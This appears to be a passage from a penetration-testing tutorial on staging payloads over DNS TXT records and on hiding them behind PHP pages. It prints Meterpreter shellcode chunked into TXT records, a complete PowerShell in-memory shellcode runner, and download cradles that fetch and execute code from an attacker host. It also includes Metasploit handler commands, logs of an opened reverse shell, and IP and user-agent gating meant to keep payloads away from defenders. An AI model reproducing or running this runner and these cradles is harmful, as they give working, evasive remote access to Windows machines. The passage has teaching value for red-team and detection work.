txt-record=3.microsoft.com,"8,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40" 225 | txt-record=4.microsoft.com,",0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9" 226 | txt-record=5.microsoft.com,",0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0" 227 | txt-record=6.microsoft.com,"x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0" 228 | txt-record=7.microsoft.com,"x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0x" 229 | txt-record=8.microsoft.com,"b8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x" 230 | txt-record=9.microsoft.com,"0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x" 231 | txt-record=10.microsoft.com,"48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x8" 232 | txt-record=11.microsoft.com,"9,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41" 233 | txt-record=12.microsoft.com,",0x89,0xda,0xff,0xd5" 234 | txt-record=microsoft.com,"12" 235 | ``` 236 | 237 | Next we’ll take a look at how we’ll implement this into a shellcode runner. We have to be mindful that when we use these cradles, the resulting payload will be seen as a string. In this situation, our payload needs to be treated as a byte array. To make this conversion, we simply need to retrieve the payload, join the records together, then split them by a comma, which will then be stored in the _$buf_ variable which is casted as a byte array. 238 | 239 | ```powershell 240 | [Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ',' 241 | ``` 242 | 243 | Putting this all together, our final payload will look like this: 244 | 245 | ```powershell 246 | function LookupFunc { 247 | Param ( 248 | $moduleName, 249 | $functionName 250 | ) 251 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 252 | $tmp = @() 253 | $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } } 254 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 255 | } 256 | 257 | function getDelegateType { 258 | Param ( 259 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 260 | [Parameter(Position = 1)] [Type] $delType = [Void] 261 | ) 262 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 263 | DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 264 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 265 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 266 | return $type.CreateType() 267 | } 268 | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 269 | [Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ',' 270 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 271 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 272 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) 273 | ``` 274 | 275 | To test this payload, we’ll start up our multi/handler listener on our Kali Linux machine. 276 | 277 | ``` 278 | ┌──(kali㉿kali)-[~] 279 | └─$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.0.21; set LPORT 443; set EXITFUNC thread; exploit" 280 | ``` 281 | 282 | After we execute our runner, we'll return to our terminal running Dnsmasq so we can see the DNS requests being processed. 283 | 284 | ``` 285 | ┌──(kali㉿kali)-[~] 286 | └─$ sudo dnsmasq -C /etc/dnsmasq.conf -d 287 | dnsmasq: started, version 2.86 cachesize 150 288 | dnsmasq: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth cryptohash DNSSEC loop-detect inotify dumpfile 289 | dnsmasq: warning: no upstream servers configured 290 | dnsmasq: cleared cache 291 | dnsmasq: query[TXT] microsoft.com from 192.168.0.26 292 | dnsmasq: config microsoft.com is 293 | dnsmasq: query[TXT] 1.microsoft.com from 192.168.0.26 294 | dnsmasq: config 1.microsoft.com is 295 | dnsmasq: query[TXT] 2.microsoft.com from 192.168.0.26 296 | dnsmasq: config 2.microsoft.com is 297 | dnsmasq: query[TXT] 3.microsoft.com from 192.168.0.26 298 | dnsmasq: config 3.microsoft.com is 299 | dnsmasq: query[TXT] 4.microsoft.com from 192.168.0.26 300 | dnsmasq: config 4.microsoft.com is 301 | dnsmasq: query[TXT] 5.microsoft.com from 192.168.0.26 302 | dnsmasq: config 5.microsoft.com is 303 | dnsmasq: query[TXT] 6.microsoft.com from 192.168.0.26 304 | dnsmasq: config 6.microsoft.com is 305 | dnsmasq: query[TXT] 7.microsoft.com from 192.168.0.26 306 | dnsmasq: config 7.microsoft.com is 307 | dnsmasq: query[TXT] 8.microsoft.com from 192.168.0.26 308 | dnsmasq: config 8.microsoft.com is 309 | dnsmasq: query[TXT] 9.microsoft.com from 192.168.0.26 310 | dnsmasq: config 9.microsoft.com is 311 | dnsmasq: query[TXT] 10.microsoft.com from 192.168.0.26 312 | dnsmasq: config 10.microsoft.com is 313 | dnsmasq: query[TXT] 11.microsoft.com from 192.168.0.26 314 | dnsmasq: config 11.microsoft.com is 315 | dnsmasq: query[TXT] 12.microsoft.com from 192.168.0.26 316 | dnsmasq: config 12.microsoft.com is 317 | ``` 318 | 319 | We'll also see that our listener has successfully established a reverse meterpreter shell. 320 | 321 | ``` 322 | ┌──(kali㉿kali)-[~] 323 | └─$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.0.21; set LPORT 443; set EXITFUNC thread; exploit" 324 | [*] Using configured payload generic/shell_reverse_tcp 325 | PAYLOAD => windows/x64/meterpreter/reverse_https 326 | LHOST => 192.168.0.21 327 | LPORT => 443 328 | EXITFUNC => thread 329 | [*] Started HTTPS reverse handler on https://192.168.0.21:443 330 | [!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: l9few58x) Without a database connected that payload UUID tracking will not work! 331 | [*] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: l9few58x) Staging x64 payload (201820 bytes) … 332 | [!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: l9few58x) Without a database connected that payload UUID tracking will not work! 333 | [*] Meterpreter session 1 opened (192.168.0.21:443 -> 127.0.0.1) at 2022-08-30 15:13:36 -0400 334 | meterpreter > 335 | ``` 336 | 337 | We have successfully used a DNS server on our Kali Linux machine to retrieve shellcode that we executed through the shellcode runner, great work. 338 | 339 | ### Staged Scripts 340 | 341 | One of the more popular methods to download and execute powershell scripts hands down is the _DownloadString_ method from the _System.Net.WebClient_ class, for example, `(New-Object System.Net.WebClient).DownloadString('http://192.168.0.21/run.ps1') | IEX`. This cradle downloads the content of a remote file as a string and passes it directly to `Invoke-Expression` for execution. 342 | 343 | This technique has been very successful and is a concept we can replicate using the techniques we've learned with DNS, but with a little extra work. As we learned from the `Chunked Payloads` section, we need to split any string, or _line_ in this case, that exceeds 255 characters. This is trivial to do, but we have to be careful where our scripts are split without breaking them. 344 | 345 | In order to successfully split a line within a script without breaking the logic, we need to place a backtick _\`_, or word-wrap operator, anywhere within an empty space. Let's put this into perspective a bit with the following command. This command will simply retrieve back the service with the display name of "Windows Time" as follows. 346 | 347 | ```powershell 348 | PS C:\> Get-Service | Where-Object {$_.DisplayName -eq "Windows Time"} 349 | 350 | Status Name DisplayName 351 | ------ ---- ----------- 352 | Running W32Time Windows Time 353 | ``` 354 | 355 | We could split this command into two lines by adding the backtick within an available space, and then entering a new line immediately after. 356 | 357 | ```powershell 358 | PS C:\> Get-Service | Where-Object {$_.DisplayName -eq ` 359 | "Windows Time"} 360 | 361 | Status Name DisplayName 362 | ------ ---- ----------- 363 | Running W32Time Windows Time 364 | ``` 365 | 366 | The problem that you may run into though is that using a backtick isn't entirely forgiving. For example, you could use it in the middle of a string, but you cannot place it in the middle of a command without causing issues. 367 | 368 | ```powershell 369 | PS C:\> Get-Service | Where-` 370 | Object {$_.DisplayName -eq "Windows Time"} 371 | Where- : The term 'Where-' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. 372 | At line:1 char:15 373 | + Get-Service | Where-` 374 | + ~~~~~~~~ 375 | + CategoryInfo : ObjectNotFound: (Where-:String) [], CommandNotFoundException 376 | + FullyQualifiedErrorId : CommandNotFoundException 377 | 378 | Object : The term 'Object' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. 379 | At line:2 char:1 380 | + Object {$_.DisplayName -eq "Windows Time"} 381 | + ~~~~~~ 382 | + CategoryInfo : ObjectNotFound: (Object:String) [], CommandNotFoundException 383 | + FullyQualifiedErrorId : CommandNotFoundException 384 | ``` 385 | 386 | Because of this it would be tricky to automate the process of formatting your code to split long lines safely, but it is still possible. To meet in the middle, we'll use a new helper function, `Find-LongLines`, to identify the lines in our script that are too long. To demonstrate this, we'll use the shellcode runner we utilized earlier and run our helper function against it. 387 | 388 | ```powershell 389 | PS C:\> Find-LongLines -Path C:\users\administrator\desktop\runner.ps1 -Length 255 390 | 391 | [*] Line 27 >> $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 392 | ``` 393 | 394 | After running our helper function, we see that line 27 has been flagged. We'll go back to our script and add a backtick in a free space on this line. Our modified payload now looks like this, paying careful attention to the line containing the _$hThread_ variable. 395 | 396 | ```powershell 397 | function LookupFunc { 398 | Param ( 399 | $moduleName, 400 | $functionName 401 | ) 402 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 403 | $tmp = @() 404 | $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } } 405 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 406 | } 407 | 408 | function getDelegateType { 409 | Param ( 410 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 411 | [Parameter(Position = 1)] [Type] $delType = [Void] 412 | ) 413 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 414 | DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 415 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 416 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 417 | return $type.CreateType() 418 | } 419 | 420 | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 421 | [Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ',' 422 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 423 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),` 424 | (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 425 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) 426 | ``` 427 | 428 | We'll save this file and run our helper function against it again to confirm we have no lines containing more than 255 characters. 429 | 430 | ```powershell 431 | PS C:\> Find-LongLines -Path C:\users\administrator\desktop\runner.ps1 -Length 255 432 | [*] This script doesn't contain any lines exceeding 255 characters 433 | ``` 434 | 435 | Now that we have fixed the long line, we can now pass our script to another helper function called `Format-ScriptToTxtRecord`, which is similar to `Format-StringToTxtRecord` except it'll take in a script and parse it line-by-line as is and convert it to a TXT record config we can copy into our Dnsmasq config file. 436 | 437 | ```powershell 438 | PS C:\> Format-ScriptToTxtRecord -Path C:\users\administrator\desktop\runner.ps1 -Name lenovo.com 439 | txt-record=1.lenovo.com,"function LookupFunc {" 440 | txt-record=2.lenovo.com," Param (" 441 | txt-record=3.lenovo.com," $moduleName, " 442 | txt-record=4.lenovo.com," $functionName" 443 | txt-record=5.lenovo.com," )" 444 | txt-record=6.lenovo.com," $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')" 445 | txt-record=7.lenovo.com," $tmp = @()" 446 | txt-record=8.lenovo.com," $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } }" 447 | txt-record=9.lenovo.com," return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))" 448 | txt-record=10.lenovo.com,"}" 449 | txt-record=11.lenovo.com,"" 450 | txt-record=12.lenovo.com,"function getDelegateType {" 451 | txt-record=13.lenovo.com," Param (" 452 | txt-record=14.lenovo.com," [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func," 453 | txt-record=15.lenovo.com," [Parameter(Position = 1)] [Type] $delType = [Void]" 454 | txt-record=16.lenovo.com," )" 455 | txt-record=17.lenovo.com," $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)." 456 | txt-record=18.lenovo.com," DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])" 457 | txt-record=19.lenovo.com," $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')" 458 | txt-record=20.lenovo.com," $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')" 459 | txt-record=21.lenovo.com," return $type.CreateType()" 460 | txt-record=22.lenovo.com,"}" 461 | txt-record=23.lenovo.com,"" 462 | txt-record=24.lenovo.com,"$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)" 463 | txt-record=25.lenovo.com,"[Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ','" 464 | txt-record=26.lenovo.com,"[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)" 465 | txt-record=27.lenovo.com,"$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),`" 466 | txt-record=28.lenovo.com," (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)" 467 | txt-record=29.lenovo.com,"[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) " 468 | txt-record=lenovo.com,"29" 469 | ``` 470 | 471 | Now we'll restart our DNS server, our Metasploit listener and execute the following download cradle to retrieve and execute our shellcode runner. 472 | 473 | ```powershell 474 | PS C:\> Invoke-Expression $((1..$((Resolve-DnsName -Name lenovo.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.lenovo.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) | Out-String) 475 | ``` 476 | 477 | Once our command is executed, we see the DNS requests as well as another successful reverse meterpreter shell. 478 | 479 | ![](./Screenshots/dns-11.png) 480 | 481 | Keep in mind that not only was there a series of DNS lookups to retrieve our script, but our payload includes its own DNS lookup to pull down our shellcode as well as we didn't embed it within our original payload. 482 | 483 | ### Wrapping Up 484 | 485 | In this post we worked through the process of spinning up a DNS server on Kali Linux and learned how we can use TXT records to stage payloads that we can retrieve through DNS lookups. While these methods were relatively straight forward, you can build upon these techniques, adding complexity and obscurity to make it something of your own. Keep your eyes open for an upcoming post, as we'll continue this discussion, except we'll take advantage of PHP to deliver these same payloads with an added twist. 486 | 487 | ## PHP Web Pages 488 | 489 | * Serving PHP Code 490 | * Conditional Access 491 | * Staged Listener Address 492 | * Staged Shellcode 493 | * Staged Script 494 | 495 | One of the more commonly utilized services on Kali Linux is the Apache HTTP Server. One workflow you'll typically find penetration testers use this service for is to host different types of files they can pull down when needed, such as scripts and binaries. While this is still an effective workflow, these files are often left exposed and if discovered by a blue team they could be easily obtained and reverse engineered to your disadvantage. 496 | 497 | To help mitigate the likelihood of this happening, we'll take advantage of the interoperability with Apache/PHP on our Kali Linux system. This will allow us to build a web page that can host our payloads that are hidden behind a set of conditions that must be met in order to retrieve them. 498 | 499 | ### Serving PHP Code 500 | 501 | The process to have a functioning PHP page hosted on Kali Linux is a trivial process as the PHP [packages](https://www.kali.org/tools/php-defaults/) are already installed. We will start things off with a basic proof of concept by creating the file `/etc/var/www/html/payload.php` with the following content: 502 | 503 | ![](./Screenshots/php-1.png) 504 | 505 | With our file created, our next step is to see if Apache is running our system. 506 | 507 | ![](./Screenshots/php-2.png) 508 | 509 | We can see here that Apache is inactive, so we'll start the service and run the command again to verify that it's now up and running. 510 | 511 | ![](./Screenshots/php-3.png) 512 | 513 | Now that we have started up our service, our next step is to verify that our web server is properly executing PHP code. To facilitate this test we'll use the _curl_ command from our terminal. 514 | 515 | ![](./Screenshots/php-4.png) 516 | 517 | Everything appears to be working properly and as you can see, it was a very simple process. It's important for us to note that when we attempt to view the source code for this page from a browser, we will only see the text `Hello, there.` in lieu of the entire code from our PHP file. 518 | 519 | ![](./Screenshots/php-5.png) 520 | 521 | This is important to keep in mind because PHP is a server-side programming language. This means that our PHP code is executed on the server which then presents the generated content to the requesting client. This allows us to keep our delivery logic, and other payloads we have embedded in the PHP file hidden from unintended view. Now we'll move into introducing targeted logic in our PHP code. 522 | 523 | ### Conditional Access 524 | 525 | When we stage our payloads we want them to be accessible when we want to retrieve them from our download cradles, however, we don't want them visible to just anyone that happens to discover our web server and decides to poke around. To add a level of obscurity, we will introduce conditions that must be met in order to retrieve our payloads. 526 | 527 | In particular we will illustrate three different techniques that you can implement to control when your payload is to be made visible. Each of these techniques leverage information that's normally transmitted between a web client and web server during a simple _GET_ request. 528 | 529 | The first method we'll introduce is restricting access to our payload based on the IP address of the web client that our web page is able to extract from the _GET_ request. Let's take a look at how to accomplish this. Our code consists of a function called _callerIp_ that takes in a single parameter called _$caller_ which we'll use to pass the value of the IP address that we want to find. 530 | 531 | Our function then looks to see if an IP address has been stored in one of three values within the global variable _$_SERVER_, which is automatically set when a client communicates with our page. The first two values, _HTTP_CLIENT_IP_ and _HTTP_X_FORWARDED_FOR_ are spoofable headers that are typically set when the request comes from a proxy server, which we are including here intentionally. The third value, _REMOTE_ADDR_ is the address retrieved during the TCP handshake between the client and server. 532 | 533 | If the IP address we pass into the function matches the address found in any of the three values within the _$_SERVER_ global variable, then the function will return TRUE. 534 | 535 | ```php 536 | function callerIp($caller) { 537 | $client = @$_SERVER['HTTP_CLIENT_IP']; 538 | $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 539 | $remote = $_SERVER['REMOTE_ADDR']; 540 | 541 | if (filter_var($client, FILTER_VALIDATE_IP)) { 542 | $ip = $client; 543 | } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { 544 | $ip = $forward; 545 | } else { 546 | $ip = $remote; 547 | } 548 | 549 | if ($caller === $ip) { 550 | return TRUE; 551 | } else { 552 | return FALSE; 553 | } 554 | } 555 | ``` 556 | 557 | We will call this function and store the output in a variable called _$ip_. We will then use an _if statement_ to check the value of this variable. If the statement resolves to TRUE, then our page will present our hidden content. 558 | 559 | ```php 560 | $ip = callerIp('192.168.0.26'); 561 | 562 | if ($ip) { 563 | echo "I see you."; 564 | } 565 | ``` 566 | 567 | Keep in mind that the IP address doesn't necessarily need to be legit, we just want to be able to retrieve any IP address that can be discovered in the headers provided previously. If we don't pass a spoofed IP address in the first two headers, then it'll simply retrieve the IP address of the client that interacted with the server. 568 | 569 | We'll save our complete code into our `payload.php` file. 570 | 571 | ```php 572 | 599 | ``` 600 | 601 | Next we will use _curl_ again to interact with our PHP page to see what message we get in return. 602 | 603 | ![](./Screenshots/php-6.png) 604 | 605 | In this case the server sees our IP address as the loopback address due to the URL we are using, so we will not see our hidden message. We'll circumvent this by re-using _curl_ again except we'll spoof the `x-forwarded-for` header to ensure that we pass the required condition. 606 | 607 | ![](./Screenshots/php-7.png) 608 | 609 | With this slight modification to our web call, we can now retrieve our hidden payload. 610 | 611 | The next technique we'll introduce will be around the user-agent, which is also stored in the _$_Server_ global variable. The user-agent is a string that contains information about the agent or client that is interacting with a web page, such as your browser version. 612 | 613 | Let's look at a basic demonstration on the types of user-agents that can be seen with the following example. 614 | 615 | ```php 616 | 620 | ``` 621 | 622 | In this example, we'll retrieve the value of the user-agent and store it within a variable that will be then written back to the requesting client. We will save this code to our `payload.php` file and interact with our web page using _curl_, _wget_ and _Firefox_. 623 | 624 | The first two terminal commands produce different user-agents as expected. 625 | 626 | ![](./Screenshots/php-8.png) 627 | 628 | We also see a different user-agent when we browse to our page using FireFox. 629 | 630 | ![](./Screenshots/php-9.png) 631 | 632 | The idea here is to understand that there are many different types of [user-agents](https://developers.whatismybrowser.com/useragents/explore/) circulating around the internet. While this value is automatically sent by a client, we can also manipulate this value to any value we desire. 633 | 634 | With a better understanding of user-agents, let's see how we can control access to our page using the user-agent. Our new code consists of a function called _callerAgent_ that takes in a single parameter called _$caller_ which we'll use to pass the value of the user-agent that we want to find. The function then looks to see if the user-agent supplied by the client matches the one we supplied to our function. If they match, the function will return TRUE. 635 | 636 | ```php 637 | function callerAgent($caller) { 638 | $agent = $_SERVER['HTTP_USER_AGENT']; 639 | if ($caller === $agent) { 640 | return TRUE; 641 | } else { 642 | return FALSE; 643 | } 644 | } 645 | ``` 646 | 647 | We will call this function and store the output in a variable called _$agent_. We will then use an _if statement_ to check the value of this variable. If the statement resolves to TRUE, then our page will present our hidden content. 648 | 649 | ```php 650 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0'); 651 | 652 | if ($agent) { 653 | echo "I see you."; 654 | } 655 | ``` 656 | 657 | We'll save our complete code into our `payload.php` file. 658 | 659 | ```php 660 | 676 | ``` 677 | 678 | Now we will repeat the same actions taken earlier when discovering the different types of user-agents. We will immediately notice that our terminal commands do not produce any output. 679 | 680 | ![](./Screenshots/php-10.png) 681 | 682 | Whereas our browser receives our hidden message as the user-agent sent by the browser matches the specific value we're looking for. 683 | 684 | ![](./Screenshots/php-11.png) 685 | 686 | Now we'll change our approach slightly from our victim machine using a PowerShell script, leveraging the `WebClient` class from the `System.Net` namespace. Once we instantiate our object, we'll add a hardcoded user-agent to replicate that of our FireFox browser, then we'll communicate with our PHP page using the _DownloadString_ method. Using this method to spoof the user-agent from a PowerShell script, we have revealed our hidden content. 687 | 688 | ```powershell 689 | PS C:\> $WC = New-Object System.Net.WebClient 690 | PS C:\> $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0') 691 | PS C:\> 